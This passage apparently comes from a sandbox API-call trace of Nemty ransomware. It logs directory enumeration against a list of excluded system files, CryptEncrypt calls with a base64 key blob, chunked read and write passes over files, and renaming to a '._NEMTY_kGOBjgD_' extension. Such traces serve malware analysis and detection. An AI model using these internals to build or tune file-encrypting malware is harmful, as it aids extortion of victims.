lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.985] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.990] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0057.997] CloseHandle (hObject=0xffffffff) returned 0 [0057.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0057.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0057.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0057.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0057.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0057.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0057.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0057.997] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png._nemty_kgobjgd_")) returned 0 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0057.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.997] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0057.997] lstrcmpiW (lpString1="curtains.png", lpString2=".") returned 1 [0057.997] lstrcmpiW (lpString1="curtains.png", lpString2="..") returned 1 [0057.997] lstrcmpiW (lpString1="curtains.png", lpString2="...") returned 1 [0057.997] lstrcmpiW (lpString1="curtains.png", lpString2="windows") returned -1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="$RECYCLE.BIN") returned 1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="rsa") returned -1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="NTDETECT.COM") returned -1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="ntldr") returned -1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="MSDOS.SYS") returned -1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="IO.SYS") returned -1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="boot.ini") returned 1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="boot.ini") returned 1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="AUTOEXEC.BAT") returned 1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="ntuser.dat") returned -1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="desktop.ini") returned -1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="CONFIG.SYS") returned 1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="RECYCLER") returned -1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="BOOTSECT.BAK") returned 1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="bootmgr") returned 1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="programdata") returned -1 [0057.998] lstrcmpiW (lpString1="curtains.png", lpString2="appdata") returned 1 [0057.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curtains.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0057.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curtains.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="curtains.png", lpUsedDefaultChar=0x0) returned 12 [0057.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0057.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curtains.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0057.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curtains.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="curtains.png", lpUsedDefaultChar=0x0) returned 12 [0057.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0057.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curtains.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0057.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curtains.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="curtains.png", lpUsedDefaultChar=0x0) returned 12 [0057.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curtains.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0057.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curtains.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="curtains.png", lpUsedDefaultChar=0x0) returned 12 [0057.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0057.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0057.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94328 [0057.999] Sleep (dwMilliseconds=0x5) [0058.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd639de50, dwHighDateTime=0x1d561e7)) [0058.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd639de50, dwHighDateTime=0x1d561e7)) [0058.014] GetLastError () returned 0x5 [0058.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.014] GetLastError () returned 0x5 [0058.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0058.014] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0058.014] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0058.015] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0058.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400e0 [0058.015] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400e0, pcchString=0x653e91c | out: pszString="UP/vzasawusbrgBDywCQaFU4Is4SK8JxJ4f8DHINDZWRgtKwOzWghBNAK8IV5cfV\r\nctjwLjhei+Y2Sy8ZsMvmOJzEVHmUIXUBid6n3M3KVPTvLhVj+k8bGVM8jWRXJyj3\r\n9IKNUqnYTtfxEEbJszBzJfoYLTO/JgatMs23Mgzr727QNZ5+KAxRgPgEHuRj5oZ/\r\n+obMAS5bfgeq/q/gVLSZIesi8ugD3dpQ0ILRRNYdsIvv0o6UtzHS8eiD6L6xk8Ud\r\nQFytLmNVfOdNQ6xs8+Ka5CsZmD8/FVIbzppSzcwVcdMoK62KpFO4LSHxad2K0ZGG\r\nxFH+6BL/qHt3zPdqdEynag==\r\n", pcchString=0x653e91c) returned 1 [0058.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340250 [0058.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0058.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0058.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0058.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400e0 [0058.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403c8 [0058.015] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.015] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0058.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0058.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.054] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.073] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.096] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.114] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0058.126] CloseHandle (hObject=0xffffffff) returned 0 [0058.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340540 [0058.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: 